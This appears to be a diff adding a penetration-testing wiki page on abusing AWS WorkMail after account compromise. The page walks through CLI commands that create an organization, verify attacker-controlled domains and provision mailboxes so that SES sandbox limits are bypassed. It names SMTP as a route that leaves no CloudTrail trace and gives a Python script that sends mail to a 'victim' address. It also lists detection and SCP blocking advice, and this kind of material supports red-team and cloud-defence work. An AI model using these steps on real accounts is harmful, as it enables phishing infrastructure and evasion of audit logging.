|
| 1 | +# AWS - WorkMail Post Exploitation |
| 2 | + |
| 3 | +{{#include ../../../../banners/hacktricks-training.md}} |
| 4 | + |
| 5 | +## Abusing WorkMail to bypass SES sandbox |
| 6 | + |
| 7 | +Even if SES is stuck in the **sandbox** (verified-recipient only, ~200 msgs/24h, 1 msg/s), WorkMail has no equivalent restriction. An attacker with long-term keys can spin up disposable mail infra and start sending immediately: |
| 8 | + |
| 9 | +1. **Create a WorkMail org (region-scoped)** |
| 10 | + ```bash |
| 11 | + aws workmail create-organization --region us-east-1 --alias temp-mail --directory-id <dir-id-if-reusing> |
| 12 | + ``` |
| 13 | +2. **Verify attacker-controlled domains** (WorkMail invokes SES APIs as `workmail.amazonaws.com`): |
| 14 | + ```bash |
| 15 | + aws ses verify-domain-identity --domain attacker-domain.com |
| 16 | + aws ses verify-domain-dkim --domain attacker-domain.com |
| 17 | + ``` |
| 18 | +3. **Provision mailbox users** and register them: |
| 19 | + ```bash |
| 20 | + aws workmail create-user --organization-id <org-id> --name marketing --display-name "Marketing" |
| 21 | + aws workmail register-to-work-mail --organization-id <org-id> --entity-id <user-id> --email marketing@attacker-domain.com |
| 22 | + ``` |
| 23 | + |
| 24 | +Notes: |
| 25 | +- Default **recipient cap** documented by AWS: **100,000 external recipients/day per org** (aggregated across users). |
| 26 | +- Domain verification activity will appear in CloudTrail under SES but with **`invokedBy`: `workmail.<region>.amazonaws.com`**, so SES verification events can belong to WorkMail setup rather than SES campaigns. |
| 27 | +- WorkMail mailbox users become **application-layer persistence** independent from IAM users. |
| 28 | + |
| 29 | +## Sending paths & telemetry gaps |
| 30 | + |
| 31 | +### Web client (WorkMail UI) |
| 32 | +- Sends surface as **`ses:SendRawEmail`** events in CloudTrail. |
| 33 | +- `userIdentity.type` = `AWSService`, `invokedBy/sourceIPAddress/userAgent` = `workmail.<region>.amazonaws.com`, so the **true client IP is hidden**. |
| 34 | +- `requestParameters` still leak sender (`source`, `fromArn`, `sourceArn`, configuration set) to correlate with newly verified domains/mailboxes. |
| 35 | + |
| 36 | +### SMTP (stealthiest) |
| 37 | +- Endpoint: `smtp.mail.<region>.awsapps.com:465` (SMTP over SSL) with the mailbox password. |
| 38 | +- **No CloudTrail data events** are generated for SMTP delivery, even when SES data events are enabled. |
| 39 | +- Ideal detection points are **org/domain/user provisioning** and SES identity ARNs referenced in subsequent web-sent `SendRawEmail` events. |
| 40 | + |
| 41 | +<details> |
| 42 | +<summary>Example SMTP send via WorkMail</summary> |
| 43 | + |
| 44 | +```python |
| 45 | +import smtplib |
| 46 | +from email.message import EmailMessage |
| 47 | + |
| 48 | +SMTP_SERVER = "smtp.mail.us-east-1.awsapps.com" |
| 49 | +SMTP_PORT = 465 |
| 50 | +EMAIL_ADDRESS = "marketing@attacker-domain.com" |
| 51 | +EMAIL_PASSWORD = "SuperSecretPassword!" |
| 52 | + |
| 53 | +target = "victim@example.com" # can be unverified/external |
| 54 | +msg = EmailMessage() |
| 55 | +msg["Subject"] = "WorkMail SMTP" |
| 56 | +msg["From"] = EMAIL_ADDRESS |
| 57 | +msg["To"] = target |
| 58 | +msg.set_content("Delivered via WorkMail SMTP") |
| 59 | + |
| 60 | +with smtplib.SMTP_SSL(SMTP_SERVER, SMTP_PORT) as smtp: |
| 61 | + smtp.login(EMAIL_ADDRESS, EMAIL_PASSWORD) |
| 62 | + smtp.send_message(msg) |
| 63 | +``` |
| 64 | + |
| 65 | +</details> |
| 66 | + |
| 67 | +## Detection considerations |
| 68 | + |
| 69 | +- If WorkMail is unnecessary, block it via **SCPs** (`workmail:*` deny) at the org level. |
| 70 | +- Alert on provisioning: `workmail:CreateOrganization`, `workmail:CreateUser`, `workmail:RegisterToWorkMail`, and SES verifications with `invokedBy=workmail.amazonaws.com` (`ses:VerifyDomainIdentity`, `ses:VerifyDomainDkim`). |
| 71 | +- Watch for anomalous **`ses:SendRawEmail`** events where the identity ARNs reference new domains and the source IP/UA equals `workmail.<region>.amazonaws.com`. |
| 72 | + |
| 73 | +## References |
| 74 | + |
| 75 | +- [Threat Actors Using AWS WorkMail in Phishing Campaigns](https://www.rapid7.com/blog/post/dr-threat-actors-aws-workmail-phishing-campaigns) |
| 76 | +- [AWS WorkMail limits](https://docs.aws.amazon.com/workmail/latest/adminguide/limits.html) |
| 77 | + |
| 78 | +{{#include ../../../../banners/hacktricks-training.md}} |
0 commit comments